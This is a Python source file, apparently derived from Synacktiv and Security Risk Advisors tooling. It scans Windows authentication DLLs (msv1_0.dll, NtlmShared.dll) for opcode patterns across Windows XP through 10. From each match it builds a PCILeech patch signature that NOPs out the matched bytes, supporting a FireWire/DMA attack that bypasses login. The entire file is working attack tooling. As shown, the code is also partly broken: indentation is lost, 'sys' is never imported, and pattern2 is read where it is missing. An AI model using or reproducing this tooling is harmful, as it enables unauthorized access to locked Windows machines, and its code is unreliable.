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search_signatures_DMA.py
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search_signatures_DMA.py
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#!/usr/bin/env python
# coding=utf-8
# This file has been modified by Security Risk Advisors to add Windows 10 support
# and output signatures compatible with PCILeech
#----------------------------------------------------------------------------
# "THE BEER-WARE LICENSE" (Revision 42):
# <jean-christophe.delaunay (at) synacktiv.com> wrote this file. As long as you
# retain this notice you can do whatever you want with this stuff. If we meet
# some day, and you think this stuff is worth it, you can buy me a beer in
# return. Fist0urs
# ----------------------------------------------------------------------------
# All credits go to carmaa and his awesome 'inception' project
# (https://github.com/carmaa/inception)
# and to Romain Thomas (https://twitter.com/rh0main) for his
# not less awesome framework "Do you even 'LIEF'?"
# (https://github.com/lief-project/LIEF)
from __future__ import print_function
import hashlib
import argparse
from os import path
from glob import glob
from struct import unpack
import lief
class OS:
def __init__(self, **kwargs):
for key, value in kwargs.iteritems():
if key == "pattern1" or key == "pattern2":
setattr(self, key, {'offset': value[0], 'opcodes': value[1]})
else:
setattr(self, key, value)
def display(self):
print("version: %s" % (self.version))
print("architecture: %s" % (self.architecture))
print("service_pack: %s" % (self.SP))
print("pattern1: %s" % (self.pattern1))
print("pattern2: %s" % (self.pattern2
if self.pattern2 is not None else "None"))
def find_offsets(content, pattern1, offset1=None, pattern2=None, offset2=None):
matches = []
for i in range(len(content)):
found = False
if content[i] == pattern1[0] and content[i:i+len(pattern1)] == pattern1:
if pattern2 == None:
found = True
elif content[i + offset2:i + offset2+len(pattern2)] == pattern2:
found = True
if found == True:
matches.append(i)
return matches
def dummy_convert_opcodes_to_list_int(value):
return list(unpack("<" + ("B" * len(value.decode("hex"))), value.decode("hex")))
def dummy_convert_list_int_to_opcodes(value):
result = ""
for i in value:
result = result + padHex(i)
return result
def padHex(value):
return "{0:0{1}x}".format(int(value),2)
def initialize_Windows_objects():
OS_list = {}
WindowsXP = {}
opcodes_XP = dummy_convert_opcodes_to_list_int("83f8107511b0018b")
WindowsXP["x86"] = [OS(version="WindowsXP", architecture="x86", SP=["SP2", "SP3"],
pattern1=[0, opcodes_XP])]
OS_list["WindowsXP"] = WindowsXP
WindowsVista = {}
opcodes1_Vista_x64 = dummy_convert_opcodes_to_list_int("c60f85")
opcodes2_Vista_x64 = dummy_convert_opcodes_to_list_int("b8")
opcodes_Vista_x86 = dummy_convert_opcodes_to_list_int("83f8107513b0018b")
WindowsVista["x64"] = [OS(version="WindowsVista", architecture="x64", SP="SP2",
pattern1=[0, opcodes1_Vista_x64], pattern2=[7, opcodes2_Vista_x64])]
WindowsVista["x86"] = [OS(version="WindowsVista", architecture="x86",
SP=["SP0", "SP1", "SP2"],
pattern1=[0, opcodes_Vista_x86])]
OS_list["WindowsVista"] = WindowsVista
Windows7 = {}
opcodes1_7_x64 = dummy_convert_opcodes_to_list_int("c60f85")
opcodes2_7_x64 = dummy_convert_opcodes_to_list_int("b8")
opcodes_7_x86_SP0 = dummy_convert_opcodes_to_list_int("83f8107513b0018b")
opcodes1_7_x86_SP1 = dummy_convert_opcodes_to_list_int("83f8100f85")
opcodes2_7_x86_SP1 = dummy_convert_opcodes_to_list_int("b0018b")
Windows7["x64"] = [OS(version="Windows7", architecture="x64",
SP=["SP0","SP1"], pattern1=[0, opcodes1_7_x64],
pattern2=[7, opcodes2_7_x64])]
Windows7["x86"]= [OS(version="Windows7", architecture="x86", SP="SP0",
pattern1=[0, opcodes_7_x86_SP0])]
Windows7["x86"].append(OS(version="Windows7", architecture="x86", SP="SP1",
pattern1=[0, opcodes1_7_x86_SP1],
pattern2=[9, opcodes2_7_x86_SP1]))
OS_list["Windows7"] = Windows7
Windows8 = {}
opcodes1_8_x64 = dummy_convert_opcodes_to_list_int("c60f85")
opcodes2_8_x64 = dummy_convert_opcodes_to_list_int("66b80100")
opcodes_8_x86 = dummy_convert_opcodes_to_list_int("8bff558bec81ec90000000a1")
Windows8["x64"] = [OS(version="Windows8", architecture="x64", SP="",
pattern1=[0, opcodes1_8_x64],
pattern2=[7, opcodes2_8_x64])]
Windows8["x86"] = [OS(version="Windows8", architecture="x86", SP="",
pattern1=[0, opcodes_8_x86])]
OS_list["Windows8"] = Windows8
Windows8_1 = {}
opcodes1_8_1_x64 = dummy_convert_opcodes_to_list_int("c60f85")
opcodes2_8_1_x64 = dummy_convert_opcodes_to_list_int("66b80100")
opcodes_8_1_x86 = dummy_convert_opcodes_to_list_int("8bff558bec81ec90000000a1")
Windows8_1["x64"] = [OS(version="Windows8.1", architecture="x64", SP="",
pattern1=[0, opcodes1_8_1_x64],
pattern2=[7, opcodes2_8_1_x64])]
Windows8_1["x86"] = [OS(version="Windows8.1", architecture="x86", SP="",
pattern1=[0, opcodes_8_1_x86])]
OS_list["Windows8.1"] = Windows8_1
Windows10 = {}
opcodes1_10_x64 = dummy_convert_opcodes_to_list_int("ff15")
opcodes2_10_x64 = dummy_convert_opcodes_to_list_int("493bc60f85")
Windows10["x64"] = [OS(version="Windows10", architecture="x64", SP="",
pattern1=[0, opcodes1_10_x64],
pattern2=[6, opcodes2_10_x64])]
OS_list["Windows10"] = Windows10
return OS_list
def build_new_OS_list(OS_list, version, architecture = None):
new_OS_list = []
if architecture is None:
new_OS_list = {version: OS_list[version]}
elif architecture in OS_list[version]:
new_OS_list = {version: {architecture: OS_list[version][architecture]}}
return new_OS_list
def display_bruteforce_results(bf_results):
for result in bf_results:
print(" OS version: %s" % (result[0].version))
print(" architecture: %s" % (result[0].architecture))
print(" service_pack(s): %s" % (", ".join(result[0].SP)
if isinstance(result[0].SP, str) == False
else result[0].SP))
print(" PCILeech signature: %s" % (result[1]))
print("")
def bruteforce_offsets(content, OS_list):
results = []
for OS_version, Windows_object in OS_list.iteritems():
targets = None
for architecture, value in Windows_object.iteritems():
for target in value:
offsets = []
patterns = [target.pattern1["opcodes"], target.pattern1["offset"]]
if hasattr(target, 'pattern2'):
patterns.append(target.pattern2["opcodes"])
patterns.append(target.pattern2["offset"])
offsets = find_offsets(content, *patterns)
if offsets:
signatures = []
hexOffsets = [hex(x) for x in offsets]
for h in offsets:
h2 = (h + target.pattern2["offset"])
PCILeechSignature = padHex(h) + "," + dummy_convert_list_int_to_opcodes(target.pattern1["opcodes"]) + "," + padHex(h2) + "," + dummy_convert_list_int_to_opcodes(target.pattern2["opcodes"]) + "," + padHex(h2+3) + "," + "909090909090"
results.append([target, PCILeechSignature])
return results
def get_text_section_content(input_file):
binary = lief.parse(input_file)
sections = binary.sections
text_section = [section for section in sections if section.name == ".text"][0]
return text_section.content
def get_version(signature, MS, LS):
version = ""
if signature == 0xfeef04bd:
version = (str((MS >> 16) & 0xffff) + '.' + str((MS >> 0) & 0xffff) +
'.' + str((LS >> 16) & 0xffff) + '.' + str((LS >> 0) & 0xffff))
return version
def parse_arguments():
parser = argparse.ArgumentParser(description="Script to extract all offsets\
needed by 'inception' tool in order to\
proceed to a DMA attack through FireWire connection,\
by jean-christophe.delaunay <at> synacktiv.com")
group = parser.add_mutually_exclusive_group(required=True)
parser.add_argument('--os', required=False,
choices=['WindowsXP', 'WindowsVista', 'Windows7',
'Windows8', 'Windows8.1','Windows10'],
help="Specify Windows version which DLL is from")
parser.add_argument('--archi', required=False, choices=['x86', 'x64'],
help="Specify architecture of Windows version")
group.add_argument('-f', '--file', required=False,
help="Dll to search offsets in (msv1_0.dll or \
NtlmShared.dll). Cannot be used with '-d'")
group.add_argument('-d', '--directory', required=False, help="Directory \
containing Dlls to search offsets in (msv1_0.dll or \
NtlmShared.dll). Cannot be used with '-f'")
options = parser.parse_args()
if not any(vars(options).values()):
parser.print_help()
exit(1)
return options
if __name__ == "__main__":
options = parse_arguments()
OS_list = initialize_Windows_objects()
if options.os is not None:
if options.archi is not None:
OS_list = build_new_OS_list(OS_list, options.os, options.archi)
else:
OS_list = build_new_OS_list(OS_list, options.os)
if not OS_list:
print("Could not match provided options with any available Windows\
os/architecture, exiting.")
sys.exit(1)
target = []
if options.file is not None:
target.append(options.file)
elif path.isdir(options.directory):
target = glob(path.join(options.directory, '*'))
else:
print("Error while opening file/dir, exiting.")
sys.exit(1)
for myfile in target:
content = get_text_section_content(myfile)
results = bruteforce_offsets(content, OS_list)
pe_parsed = lief.parse(myfile)
resource = pe_parsed.resources_manager
file_info = resource.version.fixed_file_info
file_version = get_version(file_info.signature, file_info.file_version_MS,
file_info.file_version_LS)
product_version = get_version(file_info.signature, file_info.product_version_MS,
file_info.product_version_LS)
print("dll name: %s" % myfile)
print(" file version: %s" % file_version)
print(" product version: %s\n" % product_version)
with open(myfile, 'rb') as f:
raw_content = f.read()
print(" MD5: %s" % hashlib.new("md5", raw_content).hexdigest())
print(" SHA1: %s" % hashlib.new("sha1", raw_content).hexdigest())
print(" SHA256: %s\n" % hashlib.new("sha256", raw_content).hexdigest())
display_bruteforce_results(results)